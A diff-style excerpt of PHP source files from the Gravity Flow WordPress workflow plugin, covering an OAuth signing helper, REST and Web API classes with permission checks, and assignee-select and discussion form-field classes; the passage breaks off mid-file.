$parameters = http_build_query( $parameters, '', '&', PHP_QUERY_RFC3986 );
return sprintf( '%s&%s&%s', $http_verb, rawurlencode( $uri ), rawurlencode( $parameters ) );
}
/**
* Get key:secret pair for request.
*
* @return string
*/
public function key() {
$key = rawurlencode( $this->config['consumer_secret'] ) . '&';
if ( array_key_exists( 'token_secret', $this->config ) && ! is_null( $this->config['token_secret'] ) ) {
$key .= rawurlencode( $this->config['token_secret'] );
}
return $key;
}
/**
* Hash request
*
* @param array $data Data to be included in the hash.
*
* @return array
*/
public function hash( $data ) {
return hash_hmac( 'sha1', $data, $this->key(), true );
}
/**
* Build header for request.
*
* @param array $parameters Oauth parameters to be sent.
*
* @return array
*/
public function authorization_headers( array $parameters ) {
$parameters = http_build_query( $parameters, '', ', ', PHP_QUERY_RFC3986 );
return "OAuth $parameters";
}
}

137
includes/class-rest-api.php Normal file
View File

@@ -0,0 +1,137 @@
<?php
/**
* Gravity Flow REST API
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow_REST_API
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public Licenses
* @since 1.4.3
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* This is a partial implementation of the REST API version 2 and may be subject to change.
*
* @todo cover all functionality to provide complete headless access.
*
* @beta
*
* @since 1.4.3
*
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*
* Class Gravity_Flow_REST_API
*/
class Gravity_Flow_REST_API {
/**
* Gravity_Flow_REST_API constructor.
*/
public function __construct() {
add_action( 'rest_api_init', array( $this, 'action_rest_api_init' ) );
}
/**
* Register the workflow route.
*/
public function action_rest_api_init() {
register_rest_route( 'gf/v2', '/entries/(?P<id>\d+)/workflow/(?P<base>[\S]+)', array(
'methods' => 'POST',
'callback' => array( $this, 'handle_rest_request' ),
'permission_callback' => array( $this, 'post_items_permissions_check' ),
) );
}
/**
* Process the request.
*
* @param WP_REST_Request $request The request instance.
*
* @return bool|Gravity_Flow_Step|mixed|WP_Error|WP_REST_Response
*/
public function handle_rest_request( $request ) {
$step = $this->get_current_step( $request );
if ( ! $step || is_wp_error( $step ) ) {
return $step;
}
$entry = $step->get_entry();
$entry_id = $entry['id'];
$api = new Gravity_Flow_API( $entry['form_id'] );
$response = $step->rest_callback( $request );
$api->process_workflow( $entry_id );
return $response;
}
/**
* Check if a REST request has permission.
*
* @param WP_REST_Request $request The request instance.
*
* @return Gravity_Flow_Step|bool|WP_Error
*/
public function post_items_permissions_check( $request ) {
$step = $this->get_current_step( $request );
if ( ! $step || is_wp_error( $step ) ) {
return $step;
}
return $step->rest_permission_callback( $request );
}
/**
* Get the current step for the entry specified in the request.
*
* @param WP_REST_Request $request The request instance.
*
* @return bool|Gravity_Flow_Step|WP_Error
*/
public function get_current_step( $request ) {
$entry_id = $request['id'];
if ( empty( $entry_id ) ) {
return new WP_Error( 'entry_missing', __( 'Entry ID missing', 'gravityflow', array( 'status' => 404 ) ) );
}
$rest_base = $request['base'];
if ( empty( $rest_base ) ) {
return new WP_Error( 'base_missing', __( 'Workflow base missing', 'gravityflow', array( 'status' => 404 ) ) );
}
$entry = GFAPI::get_entry( $entry_id );
if ( empty( $entry_id ) ) {
return new WP_Error( 'not_found', __( 'Entry not found', 'gravityflow', array( 'status' => 404 ) ) );
}
$api = new Gravity_Flow_API( $entry['form_id'] );
$step = $api->get_current_step( $entry );
if ( empty( $step ) ) {
return new WP_Error( 'not_found', __( 'Entry not found', 'gravityflow', array( 'status' => 404 ) ) );
}
if ( $step->get_rest_base() != $rest_base ) {
return new WP_Error( 'base_incorrect', __( 'The entry is not on the expected step.', 'gravityflow' ) );
}
return $step;
}
}
new Gravity_Flow_REST_API();

251
includes/class-web-api.php Normal file
View File

@@ -0,0 +1,251 @@
<?php
/**
* Gravity Flow Web API
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow_Web_API
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public Licenses
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Web_API
*
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
class Gravity_Flow_Web_API {
/**
* Gravity_Flow_Web_API constructor.
*/
public function __construct() {
add_action( 'gform_webapi_get_entries_assignees', array( $this, 'get_entries_assignees' ), 10, 2 );
add_action( 'gform_webapi_post_entries_assignees', array( $this, 'post_entries_assignees' ), 10, 2 );
add_action( 'gform_webapi_get_forms_steps', array( $this, 'get_forms_steps' ) );
add_action( 'gform_webapi_get_entries_steps', array( $this, 'get_entries_steps' ) );
}
/**
* Gets the steps for the specified entry.
*
* @param int $entry_id The entry ID.
*/
public function get_entries_steps( $entry_id ) {
$capability = apply_filters( 'gravityflow_web_api_capability_get_entries_steps', 'gravityflow_create_steps' );
$this->authorize( $capability );
$entry = GFAPI::get_entry( $entry_id );
$form_id = absint( $entry['form_id'] );
$api = new Gravity_Flow_API( $form_id );
$form_steps = $api->get_steps();
$current_step = $api->get_current_step( $entry );
$current_step_id = $current_step->get_id();
$response = array();
foreach ( $form_steps as $form_step ) {
$step = $api->get_step( $form_step->get_id(), $entry );
$is_current_step = ( $current_step_id == $step->get_id() );
$response[] = array(
'id' => $step->get_id(),
'type' => $step->get_type(),
'label' => $step->get_label(),
'name' => $step->get_name(),
'is_current_step' => $is_current_step,
'is_active' => $step->is_active(),
'supports_expiration' => $step->supports_expiration(),
'assignees' => $this->get_assignees_array( $step ),
'settings' => $step->get_feed_meta(),
'status' => $is_current_step ? $step->evaluate_status() : rgar( $entry, 'workflow_step_status_' . $step->get_id() ),
'expiration_timestamp' => $step->get_expiration_timestamp(),
'is_expired' => $step->is_expired(),
'is_queued' => $step->is_queued(),
'entry_count' => $step->entry_count(),
);
}
$this->end( 200, $response );
}
/**
* Gets the steps for the specified form.
*
* @param int $form_id The form ID.
*/
public function get_forms_steps( $form_id ) {
$capability = apply_filters( 'gravityflow_web_api_capability_get_forms_steps', 'gravityflow_create_steps' );
$this->authorize( $capability );
$api = new Gravity_Flow_API( $form_id );
$steps = $api->get_steps();
$response = array();
foreach ( $steps as $step ) {
$response[] = array(
'id' => $step->get_id(),
'type' => $step->get_type(),
'label' => $step->get_label(),
'name' => $step->get_name(),
'is_active' => $step->is_active(),
'entry_count' => $step->entry_count(),
'supports_expiration' => $step->supports_expiration(),
'assignees' => $this->get_assignees_array( $step ),
'settings' => $step->get_feed_meta(),
);
}
$this->end( 200, $response );
}
/**
* Gets the assignee(s) for the specified entry.
*
* @param int $entry_id The entry ID.
* @param null|string $assignee_key The assignee key or null.
*/
public function get_entries_assignees( $entry_id, $assignee_key = null ) {
$capability = apply_filters( 'gravityflow_web_api_capability_get_entries_assignees', 'gravityflow_create_steps' );
$this->authorize( $capability );
$entry = GFAPI::get_entry( $entry_id );
$form_id = absint( $entry['form_id'] );
$api = new Gravity_Flow_API( $form_id );
$step = $api->get_current_step( $entry );
if ( empty( $assignee_key ) ) {
$response = $this->get_assignees_array( $step );
} else {
$assignee = Gravity_Flow_Assignees::create( $assignee_key, $step );
$response = $this->get_assignee_array( $assignee );
}
$this->end( 200, $response );
}
/**
* Processes a status update for a specified assignee of the current step of the specified entry.
*
* @param int $entry_id The entry ID.
* @param null|string $assignee_key The assignee key or null.
*/
public function post_entries_assignees( $entry_id, $assignee_key = null ) {
global $HTTP_RAW_POST_DATA;
$capability = apply_filters( 'gravityflow_web_api_capability_post_entries_assignees', 'gravityflow_create_steps' );
$this->authorize( $capability );
$assignee_key = urldecode( $assignee_key );
if ( empty( $assignee_key ) ) {
$this->end( 400, 'Bad request' );
}
$entry = GFAPI::get_entry( $entry_id );
if ( empty( $entry ) ) {
$this->end( 404, 'Entry not found' );
}
$form_id = absint( $entry['form_id'] );
$api = new Gravity_Flow_API( $form_id );
$step = $api->get_current_step( $entry );
$assignee = Gravity_Flow_Assignees::create( $assignee_key, $step );
if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
$data = json_decode( $HTTP_RAW_POST_DATA, true );
$new_status = $data['status'];
$form = GFAPI::get_form( $form_id );
$step->process_assignee_status( $assignee, $new_status, $form );
$api->process_workflow( $entry_id );
$response = 'Status updated successfully';
$this->end( 200, $response );
}
/**
* Gets the assignees for the supplied step.
*
* @param Gravity_Flow_Step|bool $step The current step.
*
* @return array
*/
public function get_assignees_array( $step ) {
$assignees = $step && $step instanceof Gravity_Flow_Step ? $step->get_assignees() : array();
$response = array();
foreach ( $assignees as $assignee ) {
$response[] = $this->get_assignee_array( $assignee );
}
return $response;
}
/**
* Get an array of properties for the supplied assignee object.
*
* @param Gravity_Flow_Assignee $assignee The assignee.
*
* @return array
*/
public function get_assignee_array( $assignee ) {
return array(
'key' => $assignee->get_key(),
'id' => $assignee->get_id(),
'type' => $assignee->get_type(),
'display_name' => $assignee->get_display_name(),
'status' => $assignee->get_status(),
);
}
/**
* Completes the request by having the Gravity Forms Web API output the specified status code and response.
*
* @param int $status The status code.
* @param array|string $response The response.
*/
public function end( $status, $response ) {
GFWebAPI::end( $status, $response );
}
/**
* Validates if the user has the capabilities required to perform the current request.
*
* @param array $caps The capabilities required for the current request.
*
* @return bool
*/
public function authorize( $caps = array() ) {
if ( GFCommon::current_user_can_any( $caps ) ) {
return true;
}
$this->die_forbidden();
}
/**
* End the request with a 403 error.
*/
public function die_forbidden() {
$this->end( 403, __( 'Forbidden', 'gravityflow' ) );
}
}
new Gravity_Flow_Web_API();

View File

@@ -0,0 +1,342 @@
<?php
/**
* Gravity Flow Assignee Field
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Field_Assignee_Select
*/
class Gravity_Flow_Field_Assignee_Select extends GF_Field_Select {
/**
* The field type.
*
* @var string
*/
public $type = 'workflow_assignee_select';
/**
* Indicates if this field type can be used when configuring conditional logic rules.
*
* @return bool
*/
public function is_conditional_logic_supported() {
return false;
}
/**
* Adds the Workflow Fields group to the form editor.
*
* @param array $field_groups The properties for the field groups.
*
* @return array
*/
public function add_button( $field_groups ) {
$field_groups = Gravity_Flow_Fields::maybe_add_workflow_field_group( $field_groups );
return parent::add_button( $field_groups );
}
/**
* Returns the class names of the settings which should be available on the field in the form editor.
*
* @return array
*/
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'enable_enhanced_ui_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'placeholder_setting',
'default_value_setting',
'visibility_setting',
'duplicate_setting',
'description_setting',
'css_class_setting',
'gravityflow_setting_assignees',
);
}
/**
* Returns the field button properties for the form editor.
*
* @return array
*/
public function get_form_editor_button() {
return array(
'group' => 'workflow_fields',
'text' => $this->get_form_editor_field_title(),
);
}
/**
* Returns the field title.
*
* @return string
*/
public function get_form_editor_field_title() {
return __( 'Assignee', 'gravityflow' );
}
/**
* Return the HTML markup for the field choices.
*
* @param string $value The field value.
*
* @return string
*/
public function get_choices( $value ) {
$include_users = (bool) $this->gravityflowAssigneeFieldShowUsers;
$include_roles = (bool) $this->gravityflowAssigneeFieldShowRoles;
$include_fields = (bool) $this->gravityflowAssigneeFieldShowFields;
$choices = $this->get_assignees_as_choices( $value, $include_users, $include_roles, $include_fields );
return $choices;
}
/**
* Return the HTML markup for the field choices.
*
* @param string $value The field value.
* @param bool $include_users Indicates if the users should be added as choices.
* @param bool $include_roles Indicates if the roles should be added as choices.
* @param bool $include_fields Indicates if the fields should be added as choices.
*
* @return string
*/
public function get_assignees_as_choices( $value, $include_users = true, $include_roles = true, $include_fields = true ) {
$form_id = $this->formId;
$account_choices = $role_choices = $fields_choices = $optgroups = array();
if ( $include_users ) {
$args = array(
'number' => 1000,
'orderby' => 'display_name',
'role' => $this->gravityflowUsersRoleFilter,
);
$args = apply_filters( 'gravityflow_get_users_args_assignee_field', $args, $form_id, $this );
$accounts = get_users( $args );
foreach ( $accounts as $account ) {
$account_choices[] = array( 'value' => 'user_id|' . $account->ID, 'text' => $account->display_name );
}
$account_choices = apply_filters( 'gravityflow_assignee_field_users', $account_choices, $form_id, $this );
if ( ! empty( $account_choices ) ) {
$users_opt_group = new GF_Field();
$users_opt_group->choices = $account_choices;
$optgroups[] = array(
'label' => __( 'Users', 'gravityflow' ),
'choices' => GFCommon::get_select_choices( $users_opt_group, $value ),
);
}
}
if ( $include_roles ) {
$role_choices = Gravity_Flow_Common::get_roles_as_choices( true, true, true );
$role_choices = apply_filters( 'gravityflow_assignee_field_roles', $role_choices, $form_id, $this );
if ( ! empty( $role_choices ) ) {
$roles_opt_group = new GF_Field();
$roles_opt_group->choices = $role_choices;
$optgroups[] = array(
'label' => __( 'Roles', 'gravityflow' ),
'key' => 'roles',
'choices' => GFCommon::get_select_choices( $roles_opt_group, $value ),
);
}
}
if ( $include_fields ) {
$form_id = $this->formId;
$form = GFAPI::get_form( $form_id );
if ( rgar( $form, 'requireLogin' ) ) {
$fields_choices = array(
array(
'text' => __( 'User (Created by)', 'gravityflow' ),
'value' => 'entry|created_by',
),
);
$fields_choices = apply_filters( 'gravityflow_assignee_field_fields', $fields_choices, $form_id, $this );
if ( ! empty( $fields_choices ) ) {
$fields_opt_group = new GF_Field();
$fields_opt_group->choices = $fields_choices;
$optgroups[] = array(
'label' => __( 'Fields', 'gravityflow' ),
'choices' => GFCommon::get_select_choices( $fields_opt_group, $value ),
);
}
}
}
$html = '';
if ( ! empty( $this->placeholder ) ) {
$selected = empty( $value ) ? "selected='selected'" : '';
$html = sprintf( "<option value='' %s class='gf_placeholder'>%s</option>", $selected, esc_html( $this->placeholder ) );
}
foreach ( $optgroups as $optgroup ) {
$html .= sprintf( '<optgroup label="%s">%s</optgroup>', $optgroup['label'], $optgroup['choices'] );
}
return $html;
}
/**
* Return the entry value for display on the entries list page.
*
* @param string|array $value The field value.
* @param array $entry The Entry Object currently being processed.
* @param string $field_id The field or input ID currently being processed.
* @param array $columns The properties for the columns being displayed on the entry list page.
* @param array $form The Form Object currently being processed.
*
* @return string
*/
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
$assignee = parent::get_value_entry_list( $value, $entry, $field_id, $columns, $form );
$value = $this->get_display_name( $assignee );
return $value;
}
/**
* Return the entry value which will replace the field merge tag.
*
* @param string $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
* @param string $input_id The field or input ID from the merge tag currently being processed.
* @param array $entry The Entry Object currently being processed.
* @param array $form The Form Object currently being processed.
* @param string $modifier The merge tag modifier. e.g. value.
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
*
* @return string
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$value = $this->get_display_name( $value, $modifier, $url_encode, $esc_html );
return $value;
}
/**
* Return the entry value for display on the entry detail page and for the {all_fields} merge tag.
*
* @param string $value The field value.
* @param string $currency The entry currency code.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param string $media The location where the value will be displayed. Possible values: screen or email.
*
* @return string
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
$assignee = parent::get_value_entry_detail( $value, $currency, $use_text, $format, $media );
$value = $this->get_display_name( $assignee );
return $value;
}
/**
* Gets the display name for the selected choice (assignee).
*
* @param string $assignee The assignee key.
* @param string $modifier The merge tag modifier.
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
*
* @return string
*/
public function get_display_name( $assignee, $modifier = '', $url_encode = false, $esc_html = true ) {
if ( empty( $assignee ) ) {
return '';
}
list( $type, $value ) = explode( '|', $assignee, 2 );
switch ( $type ) {
case 'role' :
$value = translate_user_role( $value );
break;
case 'user_id' :
$value = Gravity_Flow_Fields::get_user_variable( $value, $modifier );
}
return $value;
}
/**
* Format the entry value before it is used in entry exports and by framework add-ons using GFAddOn::get_field_value().
*
* @param array $entry The entry currently being processed.
* @param string $input_id The field or input ID.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param bool|false $is_csv Indicates if the value is going to be used in the .csv entries export.
*
* @return string
*/
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
}
$assignee = rgar( $entry, $input_id );
list( $type, $value ) = explode( '|', $assignee, 2 );
switch ( $type ) {
case 'role':
$value = translate_user_role( $value );
break;
case 'user_id':
if ( $use_text == false && $is_csv == false ) {
$value = $assignee;
} else {
$value = $this->get_display_name( $assignee );
}
}
return $value;
}
/**
* Sanitize the field settings when the form is saved.
*/
public function sanitize_settings() {
parent::sanitize_settings();
if ( ! empty( $this->gravityflowUsersRoleFilter ) ) {
$this->gravityflowUsersRoleFilter = wp_strip_all_tags( $this->gravityflowUsersRoleFilter );
}
$this->gravityflowAssigneeFieldShowUsers = (bool) $this->gravityflowAssigneeFieldShowUsers;
$this->gravityflowAssigneeFieldShowRoles = (bool) $this->gravityflowAssigneeFieldShowRoles;
$this->gravityflowAssigneeFieldShowFields = (bool) $this->gravityflowAssigneeFieldShowFields;
}
}
GF_Fields::register( new Gravity_Flow_Field_Assignee_Select() );

View File

@@ -0,0 +1,598 @@
<?php
/**
* Gravity Flow Discussion Field
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Field_Discussion
*/
class Gravity_Flow_Field_Discussion extends GF_Field_Textarea {
/**
* The field type.
*
* @var string
*/
public $type = 'workflow_discussion';
/**
* Input values are repopulated following validation errors, which is the desired behaviour.
* It also happened when an in progress user input step was redisplayed following a successful update, which is not desired.
* This is set to true in get_value_save_entry() and then set back to false after the value is cleared in get_field_input().
*
* @var bool Should the input value be cleared?
*/
private $_clear_input_value = false;
/**
* Adds the Workflow Fields group to the form editor.
*
* @param array $field_groups The properties for the field groups.
*
* @return array
*/
public function add_button( $field_groups ) {
$field_groups = Gravity_Flow_Fields::maybe_add_workflow_field_group( $field_groups );
return parent::add_button( $field_groups );
}
/**
* Returns the field button properties for the form editor.
*
* @return array
*/
public function get_form_editor_button() {
return array(
'group' => 'workflow_fields',
'text' => $this->get_form_editor_field_title(),
);
}
/**
* Returns the class names of the settings which should be available on the field in the form editor.
*
* @return array
*/
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'maxlen_setting',
'size_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'default_value_textarea_setting',
'placeholder_textarea_setting',
'description_setting',
'css_class_setting',
'gravityflow_setting_discussion_timestamp_format',
'rich_text_editor_setting',
);
}
/**
* Returns the field title.
*
* @return string
*/
public function get_form_editor_field_title() {
return __( 'Discussion', 'gravityflow' );
}
/**
* Return the entry value for display on the entries list page.
*
* @param string|array $value The field value.
* @param array $entry The Entry Object currently being processed.
* @param string $field_id The field or input ID currently being processed.
* @param array $columns The properties for the columns being displayed on the entry list page.
* @param array $form The Form Object currently being processed.
*
* @return string
*/
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
$return = $value;
if ( $return ) {
$discussion = json_decode( $value, ARRAY_A );
if ( is_array( $discussion ) ) {
$item = array_pop( $discussion );
$return = $item['value'];
}
}
return esc_html( $return );
}
/**
* Return the entry value which will replace the field merge tag.
*
* @param string $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
* @param string $input_id The field or input ID from the merge tag currently being processed.
* @param array $entry The Entry Object currently being processed.
* @param array $form The Form Object currently being processed.
* @param string $modifier The merge tag modifier. e.g. value.
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
*
* @return string
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$value = $this->format_discussion_value( $raw_value, $format );
return $value;
}
/**
* Return the entry value for display on the entry detail page and for the {all_fields} merge tag.
*
* @param string $value The field value.
* @param string $currency The entry currency code.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param string $media The location where the value will be displayed. Possible values: screen or email.
*
* @return string
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
$value = $this->format_discussion_value( $value, $format );
return $value;
}
/**
* Returns the field inner markup.
*
* @param array $form The Form Object currently being processed.
* @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission.
* @param null|array $entry Null or the Entry Object currently being edited.
*
* @return string
*/
public function get_field_input( $form, $value = '', $entry = null ) {
$input = '';
$is_form_editor = $this->is_form_editor();
if ( is_array( $entry ) || $is_form_editor ) {
if ( $is_form_editor ) {
$entry_value = json_encode( array(
array(
'id' => 'example',
'assignee_key' => 'example|John Doe',
'timestamp' => time(),
'value' => esc_attr__( 'Example comment.', 'gravityflow' ),
),
) );
} else {
$entry_value = rgar( $entry, $this->id );
}
$input = $this->format_discussion_value( $entry_value, 'html', rgar( $entry, 'id' ) );
if ( $value == $entry_value || $this->_clear_input_value ) {
$value = '';
$this->_clear_input_value = false;
}
}
$input .= parent::get_field_input( $form, $value, $entry );
return $input;
}
/**
* Prepares the field entry value for output.
*
* @param string $value The entry value for the current field.
* @param string $format The requested format for the value; html or text.
* @param int|null $entry_id The ID of the entry currently being edited or null in other locations.
*
* @since 1.4.2-dev Added the $entry_id param.
* @since 1.3.2
*
* @return string
*/
public function format_discussion_value( $value, $format = 'html', $entry_id = null ) {
$return = '';
$discussion = json_decode( $value, ARRAY_A );
if ( is_array( $discussion ) ) {
if ( $modifiers = $this->get_modifiers() ) {
if ( in_array( 'first', $modifiers ) ) {
$item = rgar( $discussion, 0 );
return $this->format_discussion_item( $item, $format, $entry_id );
} elseif ( in_array( 'latest', $modifiers ) ) {
$item = end( $discussion );
return $this->format_discussion_item( $item, $format, $entry_id );
} else {
$limit = $this->get_limit_modifier();
$has_limit = $limit > 0;
}
} else {
$limit = 0;
$has_limit = false;
}
$reverse_comment_order = false;
/**
* Allow the order of the discussion field comments to be reversed.
*
* @param bool $reverse_comment_order Should the comment order be reversed? Default is false.
* @param Gravity_Flow_Field_Discussion $this The field currently being processed.
* @param string $format The requested format for the value; html or text.
*
* @since 1.4.2-dev
*/
$reverse_comment_order = apply_filters( 'gravityflow_reverse_comment_order_discussion_field', $reverse_comment_order, $this, $format );
if ( $reverse_comment_order ) {
$discussion = array_reverse( $discussion );
}
$count = 0;
$recent_display_limit = 0;
$display_items = '';
$hidden_items = '';
/**
* Whether to show / hide the toggle to display more discussion items.
*
* @param boolean $hide_toggle Whether to prevent the display more toggle from displaying.
* @param Gravity_Flow_Field_Discussion $this The field currently being processed.
*
* @since 2.0.2
*/
$display_toggle = apply_filters( 'gravityflow_discussion_items_display_toggle', true, $this );
if ( ( rgget( 'view' ) == 'entry' && $display_toggle ) ) {
/**
* Set the amount of discussion items to be shown in non-print inbox / status view when toggle is active.
*
* @param int $max_display_limit Amount of comments to be shown. Default is 10.
* @param Gravity_Flow_Field_Discussion $this The field currently being processed.
*
* @since 1.9.2-dev
*/
$max_display_limit = apply_filters( 'gravityflow_discussion_items_display_limit', 10, $this );
if ( count( $discussion ) > $max_display_limit ) {
$recent_display_limit = count( $discussion ) - $max_display_limit;
$view_more_label = esc_attr__( 'View More', 'gravityflow' );
$view_less_label = esc_attr__( 'View Less', 'gravityflow' );
if ( $format === 'html' ) {
$return .= sprintf( "<a href='javascript:void(0);' title='%s' data-title='%s' onclick='GravityFlowEntryDetail.displayDiscussionItemToggle(%d, %d, %d);' class='gravityflow-dicussion-item-toggle-display'>%s</a>", $view_more_label, $view_less_label, $this['formId'], $this['id'], $recent_display_limit, __( 'View More', 'gravityflow' ) );
}
}
}
foreach ( $discussion as $item ) {
if ( $has_limit && $count === $limit ) {
break;
}
if ( false === $this->is_form_editor() || $recent_display_limit > 0 ) {
if ( $format === 'html' && $count >= $recent_display_limit ) {
$display_items .= $this->format_discussion_item( $item, $format, $entry_id );
} else {
$hidden_items .= $this->format_discussion_item( $item, $format, $entry_id );
}
} else {
$display_items .= $this->format_discussion_item( $item, $format, $entry_id );
}
$count ++;
}
if ( $format === 'html' ) {
if ( ! empty( $hidden_items ) ) {
$return .= '<div class="gravityflow-dicussion-item-hidden" style="display: none;">' . $hidden_items . '</div>' . $display_items;
} else {
$return .= $display_items;
}
} else {
$return .= $hidden_items . $display_items;
}
}
return $return;
}
/**
* Get the value of the limit modifier, if specified on the merge tag.
*
* @since 1.7.1-dev
*
* @return int The number of comments to return or 0 to return them all.
*/
public function get_limit_modifier() {
$modifiers = shortcode_parse_atts( implode( ' ', $this->get_modifiers() ) );
$limit = rgar( $modifiers, 'limit', 0 );
return absint( $limit );
}
/**
* Format a single discussion item for output.
*
* @param array $item The properties of the item to be processed.
* @param string $format The requested format for the value; html or text.
* @param int|null $entry_id The ID of the entry currently being edited or null in other locations.
*
* @since 1.7.1-dev
*
* @return string
*/
public function format_discussion_item( $item, $format, $entry_id ) {
$item_datetime = date( 'Y-m-d H:i:s', $item['timestamp'] );
$timestamp_format = empty( $this->gravityflowDiscussionTimestampFormat ) ? 'd M Y g:i a' : $this->gravityflowDiscussionTimestampFormat;
$date = esc_html( GFCommon::format_date( $item_datetime, false, $timestamp_format, false ) );
if ( $item['assignee_key'] ) {
$assignee = Gravity_Flow_Assignees::create( $item['assignee_key'] );
$display_name = $assignee->get_display_name();
} else {
$display_name = '';
}
$return = '';
$display_name = apply_filters( 'gravityflowdiscussion_display_name_discussion_field', $display_name, $item, $this );
if ( $format === 'html' ) {
$content = sprintf( '<div class="gravityflow-dicussion-item-header">
<span class="gravityflow-dicussion-item-name">%s</span> <span class="gravityflow-dicussion-item-date">%s</span>
%s</div>
<div class="gravityflow-dicussion-item-value">
%s
</div>', $display_name, $date, $this->get_delete_button( $item['id'], $entry_id ), $this->format_comment_value( $item['value'] ) );
$return .= sprintf( '<div id="gravityflow-discussion-item-%s" class="gravityflow-discussion-item">%s</div>', sanitize_key( $item['id'] ), $content );
} elseif ( $format === 'text' ) {
$return = $date . ': ' . $display_name . "\n";
$return .= $item['value'];
}
return $return;
}
/**
* Prepares the markup for the delete comment button when on the entry detail edit page.
*
* @param string $item_id The ID of the comment currently being processed.
* @param int $entry_id The ID of the entry currently being processed.
*
* @since 1.4.2-dev
*
* @return string
*/
public function get_delete_button( $item_id, $entry_id ) {
if ( ! $this->is_entry_detail_edit() ) {
return '';
}
$label = esc_attr__( 'Delete Comment', 'gravityflow' );
$file = GFCommon::get_base_url() . '/images/delete.png';
return sprintf( "<a href='javascript:void(0);' title='%s' onclick='deleteDiscussionItem(%d, %d, %s);'><img src='%s' alt='%s' style='margin-left:8px;'/></a>", $label, $entry_id, $this->id, json_encode( $item_id ), $file, $label );
}
/**
* Formats an individual comment value for output in a location using the HTML format.
*
* @param string $value The comment value.
*
* @since 1.4.2-dev
*
* @return string
*/
public function format_comment_value( $value ) {
$allowable_tags = $this->get_allowable_tags();
if ( $allowable_tags === false ) {
// The value is unsafe so encode the value.
$value = esc_html( $value );
$return = nl2br( $value );
} else {
// The value contains HTML but the value was sanitized before saving.
$return = wpautop( $value );
}
return $return;
}
/**
* Format the value for saving to the Entry Object.
*
* @param array|string $value The value to be saved.
* @param array $form The Form Object currently being processed.
* @param string $input_name The input name used when accessing the $_POST.
* @param int $entry_id The ID of the Entry currently being processed.
* @param array $entry The Entry Object currently being processed.
*
* @return string
*/
public function get_value_save_entry( $value, $form, $input_name, $entry_id, $entry ) {
$value = $this->sanitize_entry_value( $value, $form['id'] );
if ( $entry_id ) {
$entry = GFAPI::get_entry( $entry_id );
$previous_value_json = rgar( $entry, $this->id );
$assignee_key = gravity_flow()->get_current_user_assignee_key();
$new_comment = array(
'id' => uniqid( '', true ),
'assignee_key' => $assignee_key,
'timestamp' => time(),
'value' => $value,
);
if ( empty( $previous_value_json ) ) {
if ( ! empty( $value ) ) {
$value = json_encode( array( $new_comment ) );
}
} else {
$discussion = json_decode( $previous_value_json, ARRAY_A );
if ( ! empty( $value ) ) {
// Only add the comment to the discussion if a value was submitted.
if ( is_array( $discussion ) ) {
$discussion[] = $new_comment;
} else {
$discussion = array( $new_comment );
}
}
$value = json_encode( $discussion );
}
$this->_clear_input_value = true;
}
return $value;
}
/**
* Format the entry value before it is used in entry exports and by framework add-ons using GFAddOn::get_field_value().
*
* @param array $entry The entry currently being processed.
* @param string $input_id The field or input ID.
